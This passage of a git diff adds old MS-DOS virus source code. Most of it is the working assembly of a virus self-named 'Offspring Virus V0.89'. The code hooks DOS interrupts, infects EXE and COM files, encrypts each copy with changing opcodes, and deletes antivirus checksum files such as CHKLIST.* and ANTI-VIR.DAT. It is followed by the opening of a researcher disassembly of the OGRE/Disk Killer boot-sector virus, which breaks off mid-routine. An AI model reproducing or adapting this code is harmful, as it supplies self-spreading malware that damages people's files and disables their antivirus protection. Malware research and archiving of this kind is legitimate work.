es:[27h*4] + mov ds: old_27_seg,ax + mov ds: old_27_ofs,bx + + cli ; disable interrrupts + + mov es: [21h*4+2],ds ; Set new addresses + lea ax, new21 + mov es: [21h*4],ax + + mov es: [20h*4+2],ds + lea ax, new20 + mov es: [20h*4],ax + + mov es: [27h*4+2],ds + lea ax, new27 + mov es: [27h*4],ax + + sti ; re-enable interrupts + + no_install: + push cs ; Restore segment regs + pop ds + push cs + pop es + + cmp byte ptr vtype[bp],parastic ; parastic infection? + je com_return ; yes, return to start of COM + + mov bx,(offset vend+50) ; Calculate memory needed + mov cl,4 ; divide by 16 + shr bx,cl + inc bx + mov ah,4ah + int 21h ; Release un-needed memory + + lea dx,file_dir-1[bp] ; Execute the original EXE + lea bx,par_blk[bp] + mov ch,0FBh ; tell mem. resident virus + mov ax,4b00h ; that it's us. + int 21h + + mov ah,4ch ; Exit + int 21h + + com_return: + + inc dir_infect + + mov si,bp ; + mov cx,7 ; Restore original first + add si,offset org_bytes ; seven bytes of COM file + mov di,0100h ; + cld ; + rep movsb ; + + mov ax,0100h ; Jump back to 100h - start of + push ax ; original program + ret ; + +main endp + + +;************************************************************************ +; Interrupt handlers +;************************************************************************ +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; INT 27h - terminate stay resident +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +new27 proc + dec byte ptr cs:[dir_infect] ; decrement running counter + db 0EAh ; Jump to original offset, seg + old_27_ofs dw 0 + old_27_seg dw 0 + new27 endp + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ- +; INT 20h - terminate process +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +new20 proc + dec byte ptr cs:[dir_infect] ; decrement running counter + db 0EAh ; Jump to original offset, seg + old_20_ofs dw 0 + old_20_seg dw 0 +new20 endp +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; INT 24h - Critical Error Handler +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +eh proc + mov al,3 ; fail call + iret ; interrupt return +eh endp +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; INT 21h - DOS function calls +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + +new21 proc ; New INT 21H handler + + cmp ah, signal ; signaling us? + jne no + mov ah,reply ; yep, give our offspring what he wants + jmp end_21 + no: + cmp ax,4b00h ; exec func? + jne check_other + inc byte ptr cs:[dir_infect] + jmp exec_func + + check_other: + cmp ah,3Bh ; change directory? + je kill_func ; yes, kill CHKLIST.* files + cmp ah,0Eh ; change drive? + je kill_func ; yes, kill CHKLIST.* files + cmp ah,4ch ; terminate process? + je dec_counter ; yes, decrement running counter + cmp ah,31h ; tsr? + je dec_counter ; yes, decrement running counter + cmp ah,00h ; terminate process? + je dec_counter ; yes, decrement running counter + + jmp end_21 ; return to original INT 21h + + kill_func: + mov byte ptr cs:[kill_now],1 ; remember it's time to kill CRC + exec_func: + cmp ch,0FBh ; Is our virus executing this prog? + je end_21 ; yes, return to orginal INT 21h + run_res: + pushf ; Push flags + push ax ; Push regs + push bx + push cx + push dx + push di + push si + push bp + push ds + push es + push sp + push ss + + push cs ; ds=cs + pop ds + + + xor ax,ax ; nullify ES + mov es,ax + + + cmp byte ptr add_mem,1 ; Restore system conventional mem size? + je rel_mem ; yes, back to 640k + cmp ah,48h ; alloc. mem block? If so we subtract 4k from + je set_mem ; total system memory. + + jmp no_mem_func ; don't f00l with memory now + + set_mem: + sub word ptr es: [413h],4 ; Subtract 4k from total sys mem + inc byte ptr add_mem ; make sure we know to add this back + jmp no_mem_func + rel_mem: + add word ptr es: [413h],4 ; Add 4k to total sys mem + dec byte ptr add_mem + + + no_mem_func: + mov ah,2fh ; Get DTA Address + int 21h ; + + mov ax,es ; Save it so we can restore it + mov word ptr old_dta,bx + mov word ptr old_dta+2,ax + push cs ; es=cs + pop es + + call resident ; Call infection kernal + + mov dx,word ptr old_dta ; restore DTA + mov ax,word ptr old_dta+2 ; + mov ds,ax ; + mov ah,1ah ; + int 21h ; + + pop ss ; Pop regs + pop sp + pop es + pop ds + pop bp + pop si + pop di + pop dx + pop cx + pop bx + pop ax + popf ; Pop flags + end_21 : + db 0eah ; jump to original int 21h +old21_ofs dw 0 ; Offset of old INT 21H +old21_seg dw 0 ; Seg of old INT 21h + +dec_counter: + dec byte ptr cs:[dir_infect] ; decrement running counter + jmp end_21 + +new21 endp ; End of handler + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; Clear ff/fn buf +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +clear_buf proc + mov word ptr fcb,0 ; Clear ff/fn buffer + lea si, fcb + lea di, fcb+2 + mov cx, 22 + cld + rep movsw + ret +clear_buf endp + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; Resident - This is called from out INT 21h handler +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +resident proc + + xor ax,ax ; es=segment 0 + mov es,ax ; .. + mov ax,es:[24h*4+2] ; get segment of INT 24h + mov bx,es:[24h*4] ; get offset of INT 24h + mov old_eh_seg,ax ; save segment + mov old_eh_off,bx ; save offset + cli ; turn off interrupts + mov es:[24h*4+2],ds ; set segment to our handler + lea ax,eh ; + mov es:[24h*4],ax ; set offset to our handler + sti + + push ds ; es=ds + pop es + + ; Set DTA address - This is for the Findfirst/Findnext INT 21H functions + mov ah, 1ah + lea dx, fcb + int 21h + + mov byte ptr vtype,spawn ; infection type = spawning + mov word ptr set_bp,0000 ; BP=0000 on load + mov byte ptr inf_count,0 ; null infection count + mov fname_off, offset fname1 ; Set search for *.EXE + mov word ptr mov_di,offset enc_data ; offset past encrypt. + + + cmp byte ptr kill_now, 1 ; change dir, or change drive func? + jne no_kill ; nope.. forget this shit + cmp dir_infect,0 ; are we running a program right now? + je cont_res ; nope.. keep going + jmp fd2 ; yes.. don't infect this time + cont_res: + ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + ; KIll chklist.* (MSAV,CPAV) and anti-vir.dat (TBAV) files + ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ- + + mov chk_spec_addr, offset chk_spec ; kill CHKLIST.* first + xor cx,cx ; keep track of which we've killed + kill_another_spec: + push cx + + call clear_buf ; clear FCB + + mov ah, 4eh ; Findfirst + xor cx, cx ; Set normal file attribute search + mov dx, chk_spec_addr + int 21h + + jc done_kill ; none found.. done + kill_loop: + mov ax,4301h ; Set file attributes to null + xor cx,cx ; + lea dx,f_name ; + int 21h ; + + mov ah,3ch ; create file = nullify size + xor cx,cx ; + lea dx,f_name ; + int 21h ; + + push ax ; get handle + pop bx ; + + mov ah,3eh ; close file + int 21h ; + + mov ah,41h ; delete the file to finish 'er off + lea dx,f_name ; + int 21h ; + + mov ah,4fh ; find next file + int 21h ; + jnc kill_loop ; if more then kill 'em + + done_kill: + pop cx ; restore spec counter + inc cx ; increment spec counter + mov chk_spec_addr,offset chk_spec2 ; new file spec to kill + cmp cx,2 ; have we already killed both? + jne kill_another_spec ; nope.. kell 'em + + no_kill: + mov kill_now,0 ; we killed them this time + ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + find_first: + call clear_buf ; clear FCB again + + mov ah, 4eh ; Findfirst + xor cx, cx ; Set normal file attribute search + mov dx, fname_off + int 21h + + jnc next_loop ; if still finding files then loop + jmp end_prog ; if not.. then end this infection + + next_loop : + cmp byte ptr vtype, parastic ; parastic infection? + je start_inf ; yes, skip all this + + mov ah,47h ; get directory for + xor dl,dl ; ..spawning infections + lea si,file_dir ; + int 21h ; + + cmp word ptr f_sizel,0 ; Make sure file isn't 64k+ + je ok_find ; for spawning infections + jmp find_file + + ok_find: + xor bx,bx ; + lm3 : ; find end of directory name + inc bx ; + cmp file_dir[bx],0 + jne lm3 + + mov file_dir[bx],'\' ; append backslash to path + inc bx + + mov cx,13 ; append filename to path + lea si,f_name + lea di,file_dir[bx] + cld + rep movsb + + xor bx,bx + loop_me: ; search for filename ext. + inc bx + cmp byte ptr fcb+1eh [bx], '.' + jne loop_me + + inc bx ; change it to COM + mov word ptr fcb+1eh [bx],'OC' + mov byte ptr fcb+1eh [bx+2],'M' + + + start_inf: + + ;ÄÄÄÄÄÄÄÄÄÄ + ; Change jump & fill space register + ;ÄÄÄÄÄÄÄÄÄÄ + cmp byte ptr new_code, 0BFh + jne inc_jmp + mov byte ptr new_code, 0B7h + mov byte ptr push_reg, 04Fh + mov nop_sub, 3Fh +inc_jmp: + inc byte ptr new_code ; incrment register + inc byte ptr push_reg ; increment register + mov dh,nop_sub ; get old register to inc/dec + mov old_nop_sub,dh ; save it.. to be used later + inc nop_sub ; increment register + jmp ok_jmp_changed + ok_jmp_changed: + + cmp byte ptr vtype, parastic ; parastic infection? + je parastic_inf ; yes.. so jump + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ- +; Spawning infection + + mov word ptr new_code+1,offset _enc + + lea dx,f_name + mov cx, 02h ; read-only + or cx, 01h ; hidden + mov ah, 3ch ; Create file + int 21h ; Call INT 21H + jnc contin ; If Error-probably already infected + jmp no_infect + contin: + inc inf_count + mov bx,ax + + jmp encrypt_ops +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ- +; Parastic infection + + parastic_inf : + + lea si,f_name ; Is Command.COM? + lea di,com_name + mov cx,11 + cld + repe cmpsb + + jne cont_inf0 ; Yes, don't infect + jmp no_infect + + cont_inf0: + + mov ax,3d02h ; Open file for reading & writing + lea dx,f_name ; Filename in FF/FN buffer + int 21h + + jnc cont_inf1 ; error, skip infection + jmp no_infect + + cont_inf1: + + + mov bx,ax ; get handle + + mov ah,3fh ; Read first bytes of file + mov cx,07 + lea dx,org_bytes + int 21h + + cmp byte ptr org_bytes+6,0E9h ; already infected? + jne cont_inf ; nope let's infect this sucker + + mov ah,3eh + int 21h + jmp no_infect + + cont_inf: + inc inf_count + mov ax,4202h ; Set pointer to end of file, so we + xor cx,cx ; can find the file size + xor dx,dx + int 21h + + mov word ptr set_bp,ax ; Change the MOV BP inst. + add ax, offset enc_data + mov word ptr mov_di,ax ; chg mov di,xxxx + + mov ax,4200h ; set file pointer to beginning + xor cx,cx + xor dx,dx + int 21h + + mov ax,word ptr f_sizeh ; save new address for parastic + add ax,offset _enc ; + mov word ptr new_code+1,ax ; + + mov ah,40h ; write new first 7 bytes + mov cx,7 ; .. jumps to virus code + lea dx,new_code ; + int 21h ; + + mov ax,4202h ; Set file pointer to end of file + xor cx,cx ; + xor dx,dx ; + int 21h + +encrypt_ops: + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ- +; Change encryptions ops + + push bx ; save file handle + + cmp pad_bytes,50 ; no more increase in file size? + je reset_pad ; if yes, reset + inc word ptr pad_bytes ; Increase file size + inc word ptr b_wr ; make note of the increase + jmp pad_ok ; don't reset pad + reset_pad: + mov word ptr pad_bytes,0 ; reset pad size + sub word ptr b_wr,50 ; make note of decrease + + pad_ok: + + cmp inc_op,47h ; change ops from DI to SI + jne set2 + dec inc_op + dec byte ptr xor_op+1 + dec di_op + dec byte ptr enc_addr + dec byte ptr enc_add+1 + jmp chg_three + set2: + inc inc_op + inc byte ptr xor_op+1 + inc di_op + inc byte ptr enc_addr + inc byte ptr enc_add+1 + + chg_three: + mov dh,byte ptr nop_sub ; which byte did we use to fill space? + cmp dh,48h ; if INC AX then we need to reset it + jne _change ; else decrement it + mov dh,40h ; reset to DEC AX + _change: + cmp dh,41h ; Don't use INC CX.. + jne no_conflict ; + mov dh,48h ; Change it to DEC AX instead + no_conflict: + cmp dh,47h ; Don't use INC DI + jne no_conflict2 ; + mov dh,4Bh ; Use DEC BX Instead + no_conflict2: + cmp dh,44h ; Don't use INC SP + jne no_conflict3 ; + mov dh,4Dh ; Use DEC BP Instead + no_conflict3: + cmp dh,46h ; Don't use INC SI + jne no_conflict4 + mov dh,0FBh ; Use STI instead + no_conflict4: + mov dl,dh ; mov into word reg dx + + mov cx,16 ; 32 bytes + lea si,fill_space ; beginning of null space + fill_loop: + mov [si],dx ; fill null bytes with same op + inc si ; + inc si ; + loop fill_loop ; + + xor cx,cx ; keep track of which we're changing + lea di,sw_byte3 ; change the first INC location + change_pos_ag: + inc cx ; make note + cmp change_num,3 ; last position? + jne cont_change ; nope.. go ahead + mov change_num,0 ; else.. reset it + cont_change: + add di,change_num ; location to put INC + mov ah,inc_op ; INC DI|SI + mov byte ptr [di],ah ; write new INC SI|DI + + lea di,sw_byte4 ; now change second INC SI|DI + cmp cx,2 ; did we already change both? + jne change_pos_ag ; no, change the second + inc change_num ; increment position + + mov ah,dir_infect ; save dir_infect + push ax ; + mov dir_infect,1 ; and reset it to 1 +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ- +; Get random XOR number, save it, copy virus, encrypt code + + d2: + + mov ah,2ch ; + int 21h ; Get random number from clock - sec/ms + + mov word ptr xor_op+2,dx ; save encryption # + mov word ptr trick_jmp+1,dx ; put same number in fake jump + + mov si,0100h + lea di,vend+50 ; destination + mov cx,offset vend-100h ; bytes to move + cld + rep movsb ; copy virus outside of code + + enc_addr: + mov di,offset vend + enc_add: + add di,offset enc_data-100h+50 ; offset of new copy of virus + + go_enc: + mov byte ptr ret_byte,0c3h ; make encryption routine RET + call encrypt ; encrypt new copy of virus + mov byte ptr ret_byte,90h ; Reset it to no RETurn + + pop ax ; restore dir_infect + mov dir_infect,ah +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ- +; Write and close new infected file + + pop bx + mov cx, offset vend-100h ; # of bytes to write + add cx, pad_bytes + lea dx, vend+50 ; Offset of buffer + mov ah, 40h ; -- our program in memory + int 21h ; Call INT 21H function 40h + + mov ax,5701h ; Restore data/time + mov cx,word ptr f_time + mov dx,word ptr f_date + int 21h + + + close: + mov ah, 3eh ; close file + int 21h + + + no_infect: + find_file: + + cmp inf_count, max_inf ; Max files found? + je end_prog ; yes, end infection + mov ah,4fh ; Find next file + int 21h + jc end_prog ; if no files found.. quit + jmp next_loop ; infect the next file + + + end_prog: + exit : + cmp inf_count,0 ; Start parastic infection on next run + jne find_done ; nope.. we're done + cmp byte ptr vtype, parastic ; Parastic infection done? + je find_done ; yep, exit already + mov fname_off, offset fname2 ; Point to new filespec + mov byte ptr vtype, parastic ; virus type = parastic + jmp find_first ; do it again for parastic + + + find_done: + fd2: + xor ax,ax + mov es,ax ; es = 0 + cli ; interrupts off + mov ax,old_eh_seg ; get old int 24h segment + mov bx,old_eh_off ; get old int 24h offset + mov es:[24h*4+2],ax ; restore int 24h segment + mov es:[24h*4],bx ; restore int 24h offsetn + sti ; interrupts on + ret ; return +resident endp + + + + +vtype db spawn ; Infection type +com_name db 'COMMAND.COM' ; obvious +org_bytes db 7 dup(0) ; original first seven bytes of parastic inf. +pad_bytes dw 0 ; Increase in virus size +add_mem db 0 ; Add memory back? +inc_op db 47h ; INC DI (47h) or INC SI (46h) +nop_sub db 40h ; fill byte +copyr db 28h,63h,29h,20h,0FBh,69h,72h,6Fh,67h,65h,6Eh +v_id db 0ah,0dh,'OŸŸspring Virus V0.89','$' +kill_now db 0 ; no program running? dir/disk call? +chk_spec db 'CHKLIST.*',0 ; MS/CPAV Checksom kill +chk_spec2 db 'ANTI-VIR.DAT',0 ; TBAV Checksum kill +fname1 db '*.EXE',0 ; Filespec +fname2 db '*.COM',0 ; Filespec +change_num dw 0 ; keep track of position of INC DI|SI +times_inc db 0 ; # of times encryption call incremented +sl db '\' ; Backslash for directory name +file_dir db 64 dup(0) ; directory of file we infected +file_name db 13 dup(0) ; filename of file we infected + +par_blk dw 0 ; command line count byte -psp +par_cmd dw 0080h ; Point to the command line -psp +par_seg dw 0 ; seg + dw 05ch ; Use default FCB's in psp to save space +par1 dw 0 ; + dw 06ch ; FCB #2 +par2 dw 0 ; + +dir_infect db 0 + +vend: ; End of virus + +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +; heap - not written to disk +;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +chk_spec_addr dw chk_spec ; delete file spec +fname_off dw fname1 ; Offset of Filespec to use +old_nop_sub db 0 +old_dta dd 0 ; Old DTA Segment:Address +old_eh_seg dw 0 ; old error handler (int 24h) seg +old_eh_off dw 0 ; old error handler (int 24h) ofs +inf_count db 0 ; How many files we have infected this run +fcb db 21 dup(0) ; fcb + attrib db 0 ; file attribute + f_time dw 0 ; file time + f_date dw 0 ; file date + f_sizeh dw 0 ; file size + f_sizel dw 0 ; + f_name db 13 dup(0) ; file name + + +cseg ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.ogre.asm b/MSDOS/Virus.MSDOS.Unknown.ogre.asm new file mode 100644 index 00000000..13be4a3a --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ogre.asm @@ -0,0 +1,1271 @@ + +PAGE 65,130 + +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +;ÛÛ ÛÛ +;ÛÛ Û Û ÛÛÛÛÛ ÛÛÛÛ Virus Test Center ÛÛ +;ÛÛ Û Û Û Û Universit„t Hamburg ÛÛ +;ÛÛ Û Û Û Û Schlterstr. 70 ÛÛ +;ÛÛ ÛÛ Û ÛÛÛÛ 2000 Hamburg 13 ÛÛ +;ÛÛ ÛÛ +;ÛÛ This listing is only given to other computer virus researchers, who ÛÛ +;ÛÛ are deemed trustworthy, and then, only for the sake of crosschecking.ÛÛ +;ÛÛ If you are not one of those, you have illegally obtained this copy. ÛÛ +;ÛÛ Be warned that distributing viruses is illegal under the laws of manyÛÛ +;ÛÛ countries. ÛÛ +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +;ÛÛ ÛÛ +;ÛÛ OGRE/Disk Killer virus ÛÛ +;ÛÛ ÛÛ +;ÛÛ Disassembled: Jan-90 ÛÛ +;ÛÛ by: Morton Swimmer ÛÛ +;ÛÛ ÛÛ +;ÛÛ Virus type: Boot sector ÛÛ +;ÛÛ ÛÛ +;ÛÛ ÛÛ +;ÛÛ ÛÛ +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + +seg_0 segment at 0 + org 20h +int8_vector dd ? + org 24h +int9_vector dd ? + org 4Ch +int13_vector dd ? + org 204h +int81_vector dd ? + org 208h +int82_vector dd ? + org 20ch +int83_vector dd ? + + org 0413h +mem_avail dw ? + +seg_0 ends + +ID_word equ 3CCBh ; (seg_a:3CCB=0) + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 0 + +ogre proc far + +start: + cli ; Disable interrupts + jmp short loc_2 ; (0052) + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; Boot Record Parameters +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +disk_info equ this byte +system_ID db 'MSDOS3.3' ; system ID +BytesPerSector dw offset entry ; bytes/sector +SectorsPerCluster db 2 ; sectors/cluster +ReservedSectors dw 1 ; # of reserved sectors +FATcopies db 2 ; # of FAT copies +RootDirEntries dw 70h ; # of root dir entries +SectorsPerDisk dw 2D0h ; sectors/disk + db 0FDh ; format ID +SectorsPerFAT dw 2 ; sectors/FAT +SectorsPerTrack dw 9 ; sectors/Track +DiskHeads dw 2 ; # of heads +SpecialResSectors db 0 ; # of special reserved sectors + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; Data +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + + db 18 dup (0) + db 12h, 0, 0, 0, 0, 1, 0 + db 0FAh, 33h, 0C0h, 8Eh, 0D0h, 0BCh, 0, 0 +ogre_ID dw ID_word ;(003E) virus ID +original_bs dw 48h ; sector # of original bootsector + ; (DOS notation) +virus_body dd 00000044h ; position of virus body on + ; disk in DOS convention +_virus_body dd 00000010h ; work copy +drive db 0 + + db 55h, 0, 0, 0, 0, 55h, 55h + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; more code +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +loc_2: + mov ax,cs:mem_avail ; BIOS: memory available variable + mov cl,6 + shl ax,cl ; Shift w/zeros fill + mov ds,ax + cmp ogre_ID,ID_word ; is the virus already in memory? + jne loc_3 ; Jump if not equal + push ds + lea ax,cs:resident_entry + push ax + sti ; Enable interrupts + retf ; jump into the resident virus + +loc_3: ; set segment registers + mov ax,7C00h + mov cl,4 + shr ax,cl ; Shift w/zeros fill + mov cx,cs + add ax,cx + mov ds,ax + mov es,ax ; es = ds = (7C00>>4) + cs + ; = segment beginning with the virus + mov ss,cx ; ss = (7C00>>4) + mov sp,0F000h + + ; Load rest of virus into + ; memory behind present position + sti ; Enable interrupts + mov drive,dl + mov cx,4 + mov bx,BytesPerSector ; = 200h (usually) + + mov ax,word ptr virus_body ; _virus_body := virus_body + mov word ptr _virus_body,ax + mov dx,word ptr virus_body[2] + mov word ptr _virus_body[2],dx + +locloop_4: + push cx + call conv_notation ; (00F4) convert DOS to BIOS notation + mov cx,3 + +locloop_5: + push cx + mov al,1 + call rd_sector ; (0143) + pop cx + jnc loc_6 ; Jump if carry=0 + mov ah,0 + int 13h ; Disk dl=drive #: ah=func a0h + ; reset disk, al=return status + loop locloop_5 ; Loop if cx > 0 + + int 18h ; ROM basic +loc_6: + call inc_sector ; (00E6) + mov ax,word ptr _virus_body + mov dx,word ptr _virus_body[2] + add bx,BytesPerSector ; (seg_a:000B=200h) + pop cx + loop locloop_4 ; Loop if cx > 0 + + ; reserve 8 pages of memory + ; for the virus at top of memory + mov ax,cs:mem_avail ; BIOS: Memory available + sub ax,8 + mov cs:mem_avail,ax ; BIOS: Memory available + mov cl,6 + shl ax,cl ; Shift w/zeros fill + mov es,ax ; es := mem_avail<<6 + ; = new location for virus + ; copy virus to top of memory + mov si,0 + mov di,0 + mov cx,0A00h + cld ; Clear direction + rep movsb ; Rep when cx >0 Mov [si] to es:[di] + + push es + mov ax,BytesPerSector ; (seg_a:000B=200h) + push ax + retf ; long jump to entry + +ogre endp + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; inc_sector SUBROUTINE(00E6) +; increment the sector number in _virus_body (DOS notation) +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +inc_sector proc near + mov ax,word ptr _virus_body ; (seg_a:0046) + inc ax + mov word ptr _virus_body,ax ; (seg_a:0046) + jnc loc_ret_7 ; Jump if carry=0 + inc word ptr _virus_body[2] ; (seg_a:0048=0) + +loc_ret_7: + retn +inc_sector endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; conv_notation SUBROUTINE(00f4) +; +; Covert from DOS sector notation to BIOS sector/head/track notation +; +; input: the DOS sector number to convert in dx:ax +; +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +conv_notation proc near + div SectorsPerTrack ; ax,dxrem=dx:ax/data + inc dl + mov sector,dl + xor dx,dx ; Zero register + div DiskHeads ; ax,dxrem=dx:ax/data + mov head,dl + mov track,ax + retn +conv_notation endp + + db 0A1h, 41h, 1 + db 8Bh, 0Eh, 1Ah, 0, 0F7h, 0E1h + db 2, 6, 3Fh, 1, 80h, 0D4h + db 0, 8Bh, 0Eh, 18h, 0, 0F7h + db 0E1h, 8Ah, 0Eh, 40h, 1, 0FEh + db 0C9h, 2, 0C1h, 80h, 0D4h, 0 + db 83h, 0D2h, 0, 0A3h, 46h, 0 + db 0A3h, 42h, 0, 89h, 16h, 48h + db 0, 89h, 16h, 44h, 0, 0C3h +head db 0 ;(013f) +sector db 1 ;(0140) +track dw 4 ;(0141) + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; rd_sector, wr_sector, direct_int13 SUBROUTINEs(00E6) +; +; read or write a sector using BIOS notation with data in +; track, sector, head, drive variables +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ +; +; read a sector + +rd_sector proc near + mov ah,2 ; READ + jmp short direct_int13 + +;ßßßß External Entry into Subroutine ßßß +; +; write a sector + +wr_sector: + mov ah,3 ; WRITE + jmp short direct_int13 + +;ßßßß External Entry into Subroutine ßßß +; +; do whatever is in AH + +direct_int13: + mov dx,track ; (seg_a:0141) + mov cl,6 + shl dh,cl ; Shift w/zeros fill + or dh,sector ; (seg_a:0140) + mov cx,dx + xchg ch,cl ; ch = (HIBYTE(track)<<6)||sector + mov dl,drive ; (seg_a:004A) + mov dh,head ; (seg_a:013F) + int 13h ; Disk dl=drive #, dh=head # + ; upper 2 bits of cl and ch = track # + ; lower 6 bits of cl = sector # + ; es:bx read buffer + ; ah=function (2 or 3), al=sectors to read + ; 